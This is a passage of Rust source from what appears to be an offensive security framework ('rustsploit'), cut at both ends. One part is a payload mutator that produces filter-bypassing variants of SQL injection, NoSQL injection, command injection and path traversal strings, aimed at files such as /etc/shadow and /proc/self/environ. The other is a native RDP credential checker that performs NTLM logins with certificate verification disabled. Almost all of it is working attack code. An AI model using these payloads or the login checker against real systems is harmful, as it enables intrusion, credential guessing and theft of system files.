if c.is_ascii_alphanumeric() || c == ' ' {
c.to_string()
} else {
format!("&#x{:X};", c as u32)
}
})
.collect::<String>();
vec![html, hex_html]
}
fn encode_hex(payload: &str) -> Vec<String> {
// 0xNN hex encoding
let hex = payload
.bytes()
.map(|b| format!("\\x{:02x}", b))
.collect::<String>();
vec![hex]
}
fn encode_octal(payload: &str) -> Vec<String> {
let octal = payload
.bytes()
.map(|b| format!("\\{:03o}", b))
.collect::<String>();
vec![octal]
}
fn encode_utf8_overlong(payload: &str) -> Vec<String> {
// Overlong UTF-8 encoding for / and . (common traversal bypass)
let overlong = payload
.chars()
.map(|c| match c {
'/' => "%c0%af".to_string(), // Overlong /
'.' => "%c0%ae".to_string(), // Overlong .
'\\' => "%c1%9c".to_string(), // Overlong backslash
_ => c.to_string(),
})
.collect::<String>();
// Alternative overlong
let overlong2 = payload
.chars()
.map(|c| match c {
'/' => "%e0%80%af".to_string(), // 3-byte overlong /
'.' => "%e0%80%ae".to_string(), // 3-byte overlong .
_ => c.to_string(),
})
.collect::<String>();
vec![overlong, overlong2]
}
fn encode_mixed_partial(payload: &str) -> Vec<String> {
let mut results = Vec::new();
// Encode only odd-indexed special chars, leave even ones
let chars: Vec<char> = payload.chars().collect();
let mut special_idx = 0;
let mixed1: String = chars
.iter()
.map(|&c| {
if !c.is_ascii_alphanumeric() && c != ' ' {
special_idx += 1;
if special_idx % 2 == 0 {
format!("%{:02X}", c as u8)
} else {
c.to_string()
}
} else {
c.to_string()
}
})
.collect();
results.push(mixed1);
// Reverse: encode even, leave odd
special_idx = 0;
let mixed2: String = chars
.iter()
.map(|&c| {
if !c.is_ascii_alphanumeric() && c != ' ' {
special_idx += 1;
if special_idx % 2 == 1 {
format!("%{:02X}", c as u8)
} else {
c.to_string()
}
} else {
c.to_string()
}
})
.collect();
results.push(mixed2);
results
}
// ============================================================================
// Whitespace & Boundary Mutations
// ============================================================================
fn swap_whitespace(payload: &str) -> Vec<String> {
let alternatives = ["\t", "%09", "%0a", "%0d", "%20", "/**/", "+", "%0b", "%0c"];
let mut results = Vec::new();
for alt in &alternatives {
let swapped = payload.replace(' ', alt);
if swapped != *payload {
results.push(swapped);
}
}
results
}
fn boundary_wrap(payload: &str) -> Vec<String> {
vec![
format!("%0a{}", payload),
format!("%0d%0a{}", payload),
format!("\n{}", payload),
format!("\r\n{}", payload),
format!("{}{}", "\x0c", payload), // form feed
format!("{}{}", "\x0b", payload), // vertical tab
format!(" {}", payload),
format!("{} ", payload),
]
}
fn null_byte_append(payload: &str) -> Vec<String> {
vec![
format!("{}%00", payload),
format!("{}\x00", payload),
format!("{}%00%00", payload),
format!("%00{}", payload),
]
}
// ============================================================================
// SQL Injection Mutations
// ============================================================================
fn sql_comment_inject(payload: &str) -> Vec<String> {
let mut results = Vec::new();
// Insert /**/ between every word character boundary
let chars: Vec<char> = payload.chars().collect();
if chars.len() > 2 {
for i in 1..chars.len() {
if chars[i - 1].is_alphabetic() && chars[i].is_alphabetic() {
let mut new = String::new();
new.extend(&chars[..i]);
new.push_str("/**/");
new.extend(&chars[i..]);
results.push(new);
}
}
}
// Wrap keywords
let keywords = ["SELECT", "UNION", "FROM", "WHERE", "OR", "AND", "ORDER", "INSERT", "UPDATE", "DELETE", "DROP"];
let upper = payload.to_uppercase();
for kw in &keywords {
if upper.contains(kw) {
// Split keyword with comment
if kw.len() >= 2 {
let mid = kw.len() / 2;
let split_kw = format!("{}/**/{}", &kw[..mid], &kw[mid..]);
results.push(replace_case_insensitive(payload, kw, &split_kw));
}
}
}
// MySQL version comment: /*!50000 UNION*/
results.push(payload.replace("UNION", "/*!50000 UNION*/"));
results.push(payload.replace("SELECT", "/*!50000 SELECT*/"));
// Line comment variants
results.push(format!("{}-- ", payload));
results.push(format!("{}#", payload));
results.push(format!("{}--+-", payload));
results.push(format!("{};--", payload));
results.push(format!("{}/*", payload));
results
}
fn sql_case_toggle(payload: &str) -> Vec<String> {
let mut results = Vec::new();
// Alternating case: oR, Or
let chars: Vec<char> = payload.chars().collect();
let toggle1: String = chars
.iter()
.enumerate()
.map(|(i, c)| {
if i % 2 == 0 {
c.to_lowercase().to_string()
} else {
c.to_uppercase().to_string()
}
})
.collect();
results.push(toggle1);
let toggle2: String = chars
.iter()
.enumerate()
.map(|(i, c)| {
if i % 2 == 1 {
c.to_lowercase().to_string()
} else {
c.to_uppercase().to_string()
}
})
.collect();
results.push(toggle2);
// Random case for each alpha char
let mut rng = rand::rng();
let random_case: String = chars
.iter()
.map(|c| {
if c.is_alphabetic() {
let options = [true, false];
if *options.choose(&mut rng).unwrap_or(&true) {
c.to_uppercase().to_string()
} else {
c.to_lowercase().to_string()
}
} else {
c.to_string()
}
})
.collect();
results.push(random_case);
results
}
fn sql_concat_split(payload: &str) -> Vec<String> {
let mut results = Vec::new();
if payload.len() >= 4 {
let mid = payload.len() / 2;
// MySQL CONCAT
results.push(format!("CONCAT('{}','{}')", &payload[..mid], &payload[mid..]));
// MSSQL +
results.push(format!("'{}'+'{}'", &payload[..mid], &payload[mid..]));
// Oracle ||
results.push(format!("'{}'||'{}'", &payload[..mid], &payload[mid..]));
// CHR() for each character (partial)
if payload.len() <= 20 {
let chr_str: String = payload
.bytes()
.map(|b| format!("CHR({})", b))
.collect::<Vec<_>>()
.join("||");
results.push(chr_str);
}
}
results
}
fn sql_version_comment(payload: &str) -> Vec<String> {
// MySQL version-specific comments: /*!NNNNN payload */
let versions = ["50000", "50001", "40100", "40000", "99999"];
versions
.iter()
.map(|v| format!("/*!{} {} */", v, payload))
.collect()
}
fn sql_alternative_syntax(payload: &str) -> Vec<String> {
let mut results = Vec::new();
let upper = payload.to_uppercase();
if upper.contains("OR") {
results.push(replace_case_insensitive(payload, "OR", "||"));
results.push(replace_case_insensitive(payload, "OR 1=1", "OR 2>1"));
results.push(replace_case_insensitive(payload, "OR 1=1", "OR 'a'='a'"));
results.push(replace_case_insensitive(payload, "OR 1=1", "OR 1 LIKE 1"));
results.push(replace_case_insensitive(payload, "OR 1=1", "OR 1 BETWEEN 0 AND 2"));
}
if upper.contains("AND") {
results.push(replace_case_insensitive(payload, "AND", "&&"));
}
if upper.contains("=") {
results.push(payload.replace('=', " LIKE "));
results.push(payload.replace('=', " REGEXP "));
}
results
}
fn sql_hex_encode_strings(payload: &str) -> Vec<String> {
// Convert quoted strings to hex
let mut results = Vec::new();
if payload.contains('\'') || payload.contains('"') {
let hex_encoded = payload
.chars()
.map(|c| {
if c == '\'' || c == '"' || c == ' ' {
c.to_string()
} else if c.is_alphabetic() {
format!("0x{:02X}", c as u8)
} else {
c.to_string()
}
})
.collect::<String>();
results.push(hex_encoded);
}
results
}
// ============================================================================
// NoSQL Injection Mutations
// ============================================================================
fn nosql_operator_variants(payload: &str) -> Vec<String> {
let mut results = Vec::new();
// JSON operator variants
let operators = [
("$ne", "$not"),
("$gt", "$gte"),
("$gt", "$nin"),
("$where", "$expr"),
("$ne", "$exists"),
];
for (from, to) in &operators {
if payload.contains(from) {
results.push(payload.replace(from, to));
}
}
// Array injection
results.push(format!("[{}]", payload));
// Type confusion
results.push(payload.replace("null", "[]"));
results.push(payload.replace("null", "\"\""));
results.push(payload.replace("null", "0"));
results.push(payload.replace("true", "1"));
results
}
fn nosql_unicode_escape(payload: &str) -> Vec<String> {
// Unicode escape for JSON strings
let unicode = payload
.chars()
.map(|c| {
if c == '$' || c == '.' || c == '{' || c == '}' {
format!("\\u{:04X}", c as u32)
} else {
c.to_string()
}
})
.collect::<String>();
vec![unicode]
}
// ============================================================================
// Command Injection Mutations
// ============================================================================
fn cmd_separator_variants(payload: &str) -> Vec<String> {
let separators = [";", "|", "||", "&&", "&", "\n", "\r\n", "%0a", "%0d%0a", "`", "$()"];
let mut results = Vec::new();
for sep in &separators {
// Replace first separator-like char with alternative
for orig in [";", "|", "&", "`"] {
if payload.contains(orig) {
results.push(payload.replacen(orig, sep, 1));
}
}
}
// Prefix with separators
for sep in &separators {
results.push(format!("{}{}", sep, payload.trim_start_matches(|c: char| c == ';' || c == '|' || c == '&' || c == ' ')));
}
results
}
fn cmd_variable_expansion(payload: &str) -> Vec<String> {
let mut results = Vec::new();
// Use variable expansion to break up commands
// e.g., "id" -> "${IFS}id", "cat" -> "c${x}at"
if payload.contains("id") {
results.push(payload.replace("id", "${IFS}id"));
results.push(payload.replace("id", "i${x}d"));
results.push(payload.replace("id", "'i''d'"));
}
if payload.contains("cat") {
results.push(payload.replace("cat", "c${x}at"));
results.push(payload.replace("cat", "'c''a''t'"));
results.push(payload.replace("cat", "c\\at"));
}
if payload.contains("passwd") {
results.push(payload.replace("passwd", "pas${x}swd"));
results.push(payload.replace("passwd", "p'a's's'w'd"));
}
// IFS (Internal Field Separator) as space
results.push(payload.replace(' ', "${IFS}"));
results.push(payload.replace(' ', "$IFS$9"));
results.push(payload.replace(' ', "{,,}"));
results.push(payload.replace(' ', "%20"));
results
}
fn cmd_quoting_tricks(payload: &str) -> Vec<String> {
let mut results = Vec::new();
// Insert quotes inside commands
let chars: Vec<char> = payload.chars().collect();
if chars.len() > 2 {
for i in 1..chars.len().saturating_sub(1) {
if chars[i].is_alphabetic() && chars[i + 1].is_alphabetic() {
let mut new = String::new();
new.extend(&chars[..i + 1]);
new.push_str("''");
new.extend(&chars[i + 1..]);
results.push(new);
if results.len() >= 5 {
break;
}
}
}
}
// Backslash insertion
let backslashed: String = chars
.iter()
.enumerate()
.map(|(i, c)| {
if c.is_alphabetic() && i > 0 && i % 3 == 0 {
format!("\\{}", c)
} else {
c.to_string()
}
})
.collect();
results.push(backslashed);
results
}
fn cmd_wildcard_bypass(payload: &str) -> Vec<String> {
let mut results = Vec::new();
// Replace known filenames with wildcards
if payload.contains("/etc/passwd") {
results.push(payload.replace("/etc/passwd", "/etc/pass??"));
results.push(payload.replace("/etc/passwd", "/etc/pas*"));
results.push(payload.replace("/etc/passwd", "/e?c/p?ss?d"));
}
if payload.contains("cat") {
results.push(payload.replace("cat", "/bin/c?t"));
results.push(payload.replace("cat", "/bin/ca*"));
}
results
}
// ============================================================================
// Path Traversal Mutations — EXHAUSTIVE
// ============================================================================
fn traversal_encoding_variants(payload: &str) -> Vec<String> {
let mut results = Vec::new();
// Every possible encoding of ../ and ..\
let dot_dot_slash_encodings = [
"../", "..\\",
"..%2f", "..%5c",
"%2e%2e/", "%2e%2e%2f",
"%2e%2e\\", "%2e%2e%5c",
"..%252f", "..%255c", // Double encoded
"%252e%252e%252f", // Triple layer
"%c0%ae%c0%ae/", // Overlong UTF-8
"%c0%ae%c0%ae%c0%af", // Overlong UTF-8 all
"%e0%80%ae%e0%80%ae/", // 3-byte overlong
"%e0%80%ae%e0%80%ae%e0%80%af",
"..%c0%af", // Mixed overlong
"..%ef%bc%8f", // Fullwidth /
"．．／", // Unicode fullwidth
"．．/", // Mixed fullwidth
"..%u002f", // IIS unicode
"..%u005c", // IIS unicode backslash
"....//", // Double dot-dot
"..../",
"..\\/", // Mixed separators
"..%00/", // Null byte mid-path
"..;/", // Semicolon (Tomcat/Jetty bypass)
];
// For each encoding variant, rebuild the payload
for encoding in &dot_dot_slash_encodings {
let rebuilt = payload
.replace("../", encoding)
.replace("..\\", encoding);
if rebuilt != *payload {
results.push(rebuilt);
}
}
results
}
fn traversal_os_variants(payload: &str) -> Vec<String> {
let mut results = Vec::new();
// Linux targets
let linux_files = [
"/etc/passwd", "/etc/shadow", "/etc/hosts",
"/proc/self/environ", "/proc/self/cmdline",
"/proc/1/cwd", "/var/log/auth.log",
"/etc/issue", "/etc/motd",
];
// Windows targets
let windows_files = [
"\\windows\\win.ini", "\\windows\\system.ini",
"\\boot.ini", "\\inetpub\\wwwroot\\web.config",
"\\windows\\system32\\drivers\\etc\\hosts",
];
let prefix = extract_traversal_prefix(payload);
for file in &linux_files {
results.push(format!("{}{}", prefix, file));
}
for file in &windows_files {
results.push(format!("{}{}", prefix.replace('/', "\\"), file));
}
results
}
fn traversal_null_extension(payload: &str) -> Vec<String> {
let extensions = [".php", ".html", ".jsp", ".asp", ".aspx", ".txt", ".xml", ".json", ".log"];
let mut results = Vec::new();
// Null byte + extension bypass
for ext in &extensions {
results.push(format!("{}%00{}", payload, ext));
results.push(format!("{}\x00{}", payload, ext));
}
// URL encoded null + extension
results.push(format!("{}%2500", payload));
results
}
fn traversal_double_dot_variants(payload: &str) -> Vec<String> {
let mut results = Vec::new();
// Double-encoding and filter bypass patterns
let patterns = [
("../", "....//"), // Recursive cleanup bypass
("../", "....\\\\//"), // Mixed
("../", "..%00/"), // Null in middle
("../", "..%0d/"), // CR injection
("../", "..%0a/"), // LF injection
("../", ".%2e/"), // Partial encode
("../", "%2e./"), // Other partial encode
("../", "..%09/"), // Tab injection
("../", "..;/"), // Semicolon bypass (Java)
];
for (from, to) in &patterns {
let rebuilt = payload.replace(from, to);
if rebuilt != *payload {
results.push(rebuilt);
}
}
results
}
/// Expand traversal depths: generate ../../, ../../../, etc. up to max_depth
fn expand_traversal_depths(seeds: &[String], config: &MutatorConfig) -> Vec<String> {
let mut results = Vec::new();
let target_files = [
"etc/passwd", "etc/shadow", "etc/hosts",
"proc/self/environ", "windows/win.ini", "windows/system.ini",
"boot.ini",
];
let separators = ["../", "..\\", "..%2f", "..%5c", "%2e%2e/", "%2e%2e%2f"];
for depth in 1..=config.traversal_max_depth {
for sep in &separators {
let prefix = sep.repeat(depth);
for file in &target_files {
results.push(format!("{}{}", prefix, file));
}
}
}
// Also expand existing seed patterns to deeper depths
for seed in seeds {
if let Some(file) = extract_traversal_target(seed) {
for depth in 1..=config.traversal_max_depth {
results.push(format!("{}{}", "../".repeat(depth), file));
results.push(format!("{}{}", "..\\".repeat(depth), file));
results.push(format!("{}{}", "..%2f".repeat(depth), file));
}
}
}
results
}
// ============================================================================
// Utility Helpers
// ============================================================================
fn replace_case_insensitive(text: &str, from: &str, to: &str) -> String {
let lower_text = text.to_lowercase();
let lower_from = from.to_lowercase();
if let Some(pos) = lower_text.find(&lower_from) {
let mut result = String::new();
result.push_str(&text[..pos]);
result.push_str(to);
result.push_str(&text[pos + from.len()..]);
result
} else {
text.to_string()
}
}
fn extract_traversal_prefix(payload: &str) -> String {
// Extract the ../ prefix part from a traversal payload
let mut prefix = String::new();
let mut chars = payload.chars().peekable();
while chars.peek().is_some() {
if payload[prefix.len()..].starts_with("../") {
prefix.push_str("../");
chars.nth(2); // skip 3 chars
} else if payload[prefix.len()..].starts_with("..\\") {
prefix.push_str("..\\");
chars.nth(2);
} else {
break;
}
}
if prefix.is_empty() {
"../../../".to_string()
} else {
prefix
}
}
fn extract_traversal_target(payload: &str) -> Option<String> {
// Extract the target file from a traversal payload (everything after last ../ or ..\)
let cleaned = payload
.replace("..\\", "../")
.replace("..%2f", "../")
.replace("..%5c", "../");
if let Some(last_idx) = cleaned.rfind("../") {
let target = &cleaned[last_idx + 3..];
if !target.is_empty() {
return Some(target.to_string());
}
}
None
}
src/native/rdp.rs
+786
View File
@@ -0,0 +1,786 @@
//! Native RDP authentication - replaces external xfreerdp/rdesktop CLI dependency.
//!
//! Implements X.224 negotiation → TLS upgrade → CredSSP/NTLM authentication
//! to check RDP credentials without spawning external processes.
use anyhow::{anyhow, Result};
use std::sync::Arc;
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpStream;
use tokio::time::{timeout, Duration};
// ============================================================================
// RDP Protocol Constants
// ============================================================================
const TPKT_VERSION: u8 = 3;
const X224_TYPE_CR: u8 = 0xE0;
const X224_TYPE_CC: u8 = 0xD0;
const RDP_NEG_REQ: u8 = 0x01;
const RDP_NEG_RSP: u8 = 0x02;
const RDP_NEG_FAILURE: u8 = 0x03;
pub const PROTO_RDP: u32 = 0x00000000;
pub const PROTO_SSL: u32 = 0x00000001;
pub const PROTO_HYBRID: u32 = 0x00000002; // NLA (CredSSP)
// NTLM negotiate flags
const NTLM_FLAGS: u32 =
0x00000001 | // UNICODE
0x00000004 | // REQUEST_TARGET
0x00000200 | // NTLM
0x00008000 | // ALWAYS_SIGN
0x00080000 | // EXTENDED_SESSIONSECURITY
0x20000000 | // 128-bit
0x80000000; // 56-bit
const NTLMSSP_SIG: &[u8; 8] = b"NTLMSSP\0";
// ============================================================================
// Public API
// ============================================================================
/// Result of an RDP login attempt.
#[derive(Debug)]
pub enum RdpLoginResult {
/// Credentials accepted
Success,
/// Credentials rejected (wrong user/pass)
AuthFailed,
/// Could not connect / host unreachable
ConnectionFailed(String),
/// Protocol or TLS error
ProtocolError(String),
}
/// Attempt native RDP login. Returns Ok(RdpLoginResult).
pub async fn try_login(
addr: &str,
user: &str,
pass: &str,
timeout_duration: Duration,
requested_protocols: u32,
) -> Result<RdpLoginResult> {
// 1. TCP connect
let stream = match timeout(timeout_duration, TcpStream::connect(addr)).await {
Ok(Ok(s)) => s,
Ok(Err(e)) => return Ok(RdpLoginResult::ConnectionFailed(e.to_string())),
Err(_) => return Ok(RdpLoginResult::ConnectionFailed("Connection timeout".into())),
};
// 2. X.224 Connection Request
let cookie = if user.is_empty() { "rustsploit" } else { user };
let cr_pdu = build_x224_cr(cookie, requested_protocols);
let mut stream = stream;
if let Err(e) = timeout(timeout_duration, stream.write_all(&cr_pdu)).await {
return Ok(RdpLoginResult::ConnectionFailed(format!("Write CR: {}", e)));
}
// 3. Read X.224 Connection Confirm
let mut buf = vec![0u8; 1024];
let n = match timeout(timeout_duration, stream.read(&mut buf)).await {
Ok(Ok(n)) if n > 0 => n,
Ok(Ok(_)) => return Ok(RdpLoginResult::ConnectionFailed("Empty CC response".into())),
Ok(Err(e)) => return Ok(RdpLoginResult::ConnectionFailed(format!("Read CC: {}", e))),
Err(_) => return Ok(RdpLoginResult::ConnectionFailed("CC timeout".into())),
};
let selected = match parse_x224_cc(&buf[..n]) {
Ok(p) => p,
Err(e) => return Ok(RdpLoginResult::ProtocolError(format!("X.224 CC: {}", e))),
};
// 4. If NLA or TLS selected → upgrade to TLS
if selected == PROTO_HYBRID || selected == PROTO_SSL {
// TLS upgrade
let tls_stream = match tls_upgrade(stream, addr, timeout_duration).await {
Ok(s) => s,
Err(e) => return Ok(RdpLoginResult::ProtocolError(format!("TLS: {}", e))),
};
if selected == PROTO_HYBRID {
// CredSSP + NTLM authentication
return credssp_authenticate(tls_stream, user, pass, timeout_duration).await;
}
// TLS-only: server doesn't require NLA, can't auth-check without full
// RDP handshake; treat connection success as "host alive, auth untested"
return Ok(RdpLoginResult::ProtocolError(
"Server uses TLS without NLA; cannot auth-check natively".into(),
));
}
// 5. Standard RDP (no NLA/TLS) - legacy mode
Ok(RdpLoginResult::ProtocolError(
"Server uses legacy RDP security; cannot auth-check natively".into(),
))
}
// ============================================================================
// X.224 Protocol
// ============================================================================
fn build_x224_cr(cookie: &str, protocols: u32) -> Vec<u8> {
let cookie_str = format!("Cookie: mstshash={}\r\n", cookie);
let cookie_bytes = cookie_str.as_bytes();
// Negotiation Request: type(1) + flags(1) + length(2) + protocols(4) = 8
let x224_payload_len = 6 + cookie_bytes.len() + 8; // 6 = CR fields after length
let tpkt_len = 4 + 1 + x224_payload_len; // TPKT(4) + LI(1) + payload
let mut pdu = Vec::with_capacity(tpkt_len);
// TPKT header
pdu.extend_from_slice(&[TPKT_VERSION, 0, (tpkt_len >> 8) as u8, tpkt_len as u8]);
// X.224 CR
pdu.push(x224_payload_len as u8); // length indicator
pdu.push(X224_TYPE_CR);
pdu.extend_from_slice(&[0, 0, 0, 0, 0]); // dst-ref(2) + src-ref(2) + class(1)
pdu.extend_from_slice(cookie_bytes);
// RDP Negotiation Request
pdu.push(RDP_NEG_REQ);
pdu.push(0x00); // flags
pdu.extend_from_slice(&8u16.to_le_bytes()); // length = 8
pdu.extend_from_slice(&protocols.to_le_bytes());
pdu
}
fn parse_x224_cc(data: &[u8]) -> Result<u32> {
if data.len() < 11 {
return Err(anyhow!("CC too short ({}B)", data.len()));
}
if data[0] != TPKT_VERSION {
return Err(anyhow!("Bad TPKT version 0x{:02x}", data[0]));
}
let tpkt_len = ((data[2] as usize) << 8) | data[3] as usize;
if data.len() < tpkt_len {
return Err(anyhow!("Truncated CC"));
}
if data[5] & 0xF0 != X224_TYPE_CC {
return Err(anyhow!("Not CC (type=0x{:02x})", data[5]));
}
// Check for negotiation response (last 8 bytes of TPKT)
if tpkt_len >= 19 {
let off = tpkt_len - 8;
if data[off] == RDP_NEG_RSP {
return Ok(u32::from_le_bytes([
data[off + 4], data[off + 5], data[off + 6], data[off + 7],
]));
} else if data[off] == RDP_NEG_FAILURE {
let failure_code = u32::from_le_bytes([
data[off + 4], data[off + 5], data[off + 6], data[off + 7],
]);
return Err(anyhow!("Server rejected negotiation (failure code: 0x{:08x})", failure_code));
}
}
Ok(PROTO_RDP)
}
// ============================================================================
// TLS Upgrade
// ============================================================================
#[derive(Debug)]
struct NoCertVerifier;
impl rustls::client::danger::ServerCertVerifier for NoCertVerifier {
fn verify_server_cert(
&self,
_end_entity: &rustls::pki_types::CertificateDer<'_>,
_intermediates: &[rustls::pki_types::CertificateDer<'_>],
_server_name: &rustls::pki_types::ServerName<'_>,
_ocsp_response: &[u8],
_now: rustls::pki_types::UnixTime,
) -> std::result::Result<rustls::client::danger::ServerCertVerified, rustls::Error> {
Ok(rustls::client::danger::ServerCertVerified::assertion())
}
fn verify_tls12_signature(
&self,
_message: &[u8],
_cert: &rustls::pki_types::CertificateDer<'_>,
_dss: &rustls::DigitallySignedStruct,
) -> std::result::Result<rustls::client::danger::HandshakeSignatureValid, rustls::Error> {
Ok(rustls::client::danger::HandshakeSignatureValid::assertion())
}
fn verify_tls13_signature(
&self,
_message: &[u8],
_cert: &rustls::pki_types::CertificateDer<'_>,
_dss: &rustls::DigitallySignedStruct,
) -> std::result::Result<rustls::client::danger::HandshakeSignatureValid, rustls::Error> {
Ok(rustls::client::danger::HandshakeSignatureValid::assertion())
}
fn supported_verify_schemes(&self) -> Vec<rustls::SignatureScheme> {
rustls::crypto::aws_lc_rs::default_provider()
.signature_verification_algorithms
.supported_schemes()
}
}
async fn tls_upgrade(
stream: TcpStream,
addr: &str,
timeout_duration: Duration,
) -> Result<tokio_rustls::client::TlsStream<TcpStream>> {
let config = rustls::ClientConfig::builder()
.dangerous()
.with_custom_certificate_verifier(Arc::new(NoCertVerifier))
.with_no_client_auth();
let connector = tokio_rustls::TlsConnector::from(Arc::new(config));
// Use a dummy server name (we bypass verification anyway)
let host = addr.split(':').next().unwrap_or("localhost");
let server_name = rustls::pki_types::ServerName::try_from(host.to_string())
.unwrap_or_else(|_| rustls::pki_types::ServerName::try_from("localhost".to_string()).unwrap());
match timeout(timeout_duration, connector.connect(server_name, stream)).await {
Ok(Ok(tls)) => Ok(tls),
Ok(Err(e)) => Err(anyhow!("TLS handshake failed: {}", e)),
Err(_) => Err(anyhow!("TLS handshake timeout")),
}
}
// ============================================================================
// CredSSP + NTLM Authentication
// ============================================================================
async fn credssp_authenticate<S>(
mut stream: S,
user: &str,
pass: &str,
timeout_duration: Duration,
) -> Result<RdpLoginResult>
where
S: AsyncReadExt + AsyncWriteExt + Unpin,
{
// Step 1: Send TSRequest with NTLM Negotiate (Type 1)
let ntlm_negotiate = build_ntlm_negotiate();
let spnego_init = wrap_spnego_init(&ntlm_negotiate);
let ts_req1 = build_ts_request(6, Some(&spnego_init), None, None);
if timeout(timeout_duration, stream.write_all(&ts_req1)).await.is_err() {
return Ok(RdpLoginResult::ConnectionFailed("CredSSP write timeout".into()));
}
// Step 2: Read TSRequest with NTLM Challenge (Type 2)
let mut buf = vec![0u8; 8192];
let n = match timeout(timeout_duration, stream.read(&mut buf)).await {
Ok(Ok(n)) if n > 0 => n,
Ok(Ok(_)) => return Ok(RdpLoginResult::ConnectionFailed("Empty CredSSP response".into())),
Ok(Err(e)) => return Ok(RdpLoginResult::ProtocolError(format!("CredSSP read: {}", e))),
Err(_) => return Ok(RdpLoginResult::ConnectionFailed("CredSSP read timeout".into())),
};
let ts_resp = match parse_ts_request(&buf[..n]) {
Ok(r) => r,
Err(e) => return Ok(RdpLoginResult::ProtocolError(format!("TSRequest parse: {}", e))),
};
// Check for error code → auth failed
if let Some(err_code) = ts_resp.error_code {
if err_code != 0 {
return Ok(RdpLoginResult::AuthFailed);
}
}
let nego_token = match ts_resp.nego_tokens {
Some(t) => t,
None => return Ok(RdpLoginResult::ProtocolError("No negoToken in challenge".into())),
};
// Unwrap SPNEGO to get NTLM Challenge
let ntlm_challenge_bytes = unwrap_spnego_response(&nego_token)
.unwrap_or(nego_token.clone());
let challenge = match parse_ntlm_challenge(&ntlm_challenge_bytes) {
Ok(c) => c,
Err(e) => return Ok(RdpLoginResult::ProtocolError(format!("NTLM challenge: {}", e))),
};
// Step 3: Build NTLM Authenticate (Type 3) and send
let ntlm_auth = build_ntlm_authenticate(user, pass, "", &challenge);
let spnego_resp = wrap_spnego_response(&ntlm_auth);
let ts_req3 = build_ts_request(6, Some(&spnego_resp), None, None);
if timeout(timeout_duration, stream.write_all(&ts_req3)).await.is_err() {
return Ok(RdpLoginResult::ConnectionFailed("CredSSP auth write timeout".into()));
}
// Step 4: Read final response
let n = match timeout(timeout_duration, stream.read(&mut buf)).await {
Ok(Ok(n)) if n > 0 => n,
// Connection closed = auth failed (server drops connection on bad creds)
Ok(Ok(_)) => return Ok(RdpLoginResult::AuthFailed),
Ok(Err(_)) => return Ok(RdpLoginResult::AuthFailed),
Err(_) => return Ok(RdpLoginResult::AuthFailed),
};
// Parse final TSRequest
match parse_ts_request(&buf[..n]) {
Ok(resp) => {
if let Some(err) = resp.error_code {
if err != 0 {
return Ok(RdpLoginResult::AuthFailed);
}
}
// If we get pubKeyAuth back → success
if resp.pub_key_auth.is_some() {
return Ok(RdpLoginResult::Success);
}
// If we get negoTokens back, check for SPNEGO accept
if resp.nego_tokens.is_some() {
// Server sent more negotiation → could be success continuation
return Ok(RdpLoginResult::Success);
}
Ok(RdpLoginResult::AuthFailed)
}
Err(_) => Ok(RdpLoginResult::AuthFailed),
}
}
// ============================================================================
// NTLM Message Building
// ============================================================================
fn to_utf16le(s: &str) -> Vec<u8> {
s.encode_utf16().flat_map(|c| c.to_le_bytes()).collect()
}
fn build_ntlm_negotiate() -> Vec<u8> {
let mut msg = Vec::with_capacity(40);
msg.extend_from_slice(NTLMSSP_SIG);
msg.extend_from_slice(&1u32.to_le_bytes()); // Type 1
msg.extend_from_slice(&NTLM_FLAGS.to_le_bytes());
msg.extend_from_slice(&[0u8; 8]); // DomainName (empty)
msg.extend_from_slice(&[0u8; 8]); // Workstation (empty)
msg
}
struct NtlmChallenge {
flags: u32,
server_challenge: [u8; 8],
target_info: Vec<u8>,
}
fn parse_ntlm_challenge(data: &[u8]) -> Result<NtlmChallenge> {
if data.len() < 32 { return Err(anyhow!("Challenge too short")); }
if &data[0..8] != NTLMSSP_SIG { return Err(anyhow!("Bad NTLMSSP sig")); }
if u32::from_le_bytes([data[8], data[9], data[10], data[11]]) != 2 {
return Err(anyhow!("Not Type 2"));
}
let flags = u32::from_le_bytes([data[20], data[21], data[22], data[23]]);
let mut server_challenge = [0u8; 8];
server_challenge.copy_from_slice(&data[24..32]);
let mut target_info = Vec::new();
if data.len() >= 48 {
let ti_len = u16::from_le_bytes([data[40], data[41]]) as usize;
let ti_off = u32::from_le_bytes([data[44], data[45], data[46], data[47]]) as usize;
if ti_off + ti_len <= data.len() {
target_info = data[ti_off..ti_off + ti_len].to_vec();
}
}
Ok(NtlmChallenge { flags, server_challenge, target_info })
}
fn build_ntlm_authenticate(user: &str, pass: &str, domain: &str, ch: &NtlmChallenge) -> Vec<u8> {
// NT Hash = MD4(UTF16LE(password))
let nt_hash = md4_hash(&to_utf16le(pass));
// ResponseKeyNT = HMAC_MD5(NT_Hash, UTF16LE(UPPER(user) + domain))
let identity = format!("{}{}", user.to_uppercase(), domain);
let response_key = hmac_md5(&nt_hash, &to_utf16le(&identity));
// Client blob
let client_challenge: [u8; 8] = rand::random();
let timestamp = windows_filetime_now();
let mut blob = Vec::new();
blob.extend_from_slice(&[0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]);
blob.extend_from_slice(&timestamp);
blob.extend_from_slice(&client_challenge);
blob.extend_from_slice(&[0x00; 4]);
blob.extend_from_slice(&ch.target_info);
blob.extend_from_slice(&[0x00; 4]);
// NTProofStr + blob
let mut proof_input = ch.server_challenge.to_vec();
proof_input.extend_from_slice(&blob);
let nt_proof = hmac_md5(&response_key, &proof_input);
let mut nt_response = nt_proof.to_vec();
nt_response.extend_from_slice(&blob);
let lm_response = vec![0u8; 24];
let domain_b = to_utf16le(domain);
let user_b = to_utf16le(user);
let ws_b = to_utf16le("RST");
let base: u32 = 88;
let lm_off = base;
let nt_off = lm_off + lm_response.len() as u32;
let dom_off = nt_off + nt_response.len() as u32;
let usr_off = dom_off + domain_b.len() as u32;
let ws_off = usr_off + user_b.len() as u32;
let sk_off = ws_off + ws_b.len() as u32;
let mut msg = Vec::new();
msg.extend_from_slice(NTLMSSP_SIG);
msg.extend_from_slice(&3u32.to_le_bytes()); // Type 3
// Security buffer fields: Len(2) + MaxLen(2) + Offset(4)
fn push_secbuf(v: &mut Vec<u8>, len: u16, off: u32) {
v.extend_from_slice(&len.to_le_bytes());
v.extend_from_slice(&len.to_le_bytes());
v.extend_from_slice(&off.to_le_bytes());
}
push_secbuf(&mut msg, lm_response.len() as u16, lm_off);
push_secbuf(&mut msg, nt_response.len() as u16, nt_off);
push_secbuf(&mut msg, domain_b.len() as u16, dom_off);
push_secbuf(&mut msg, user_b.len() as u16, usr_off);
push_secbuf(&mut msg, ws_b.len() as u16, ws_off);
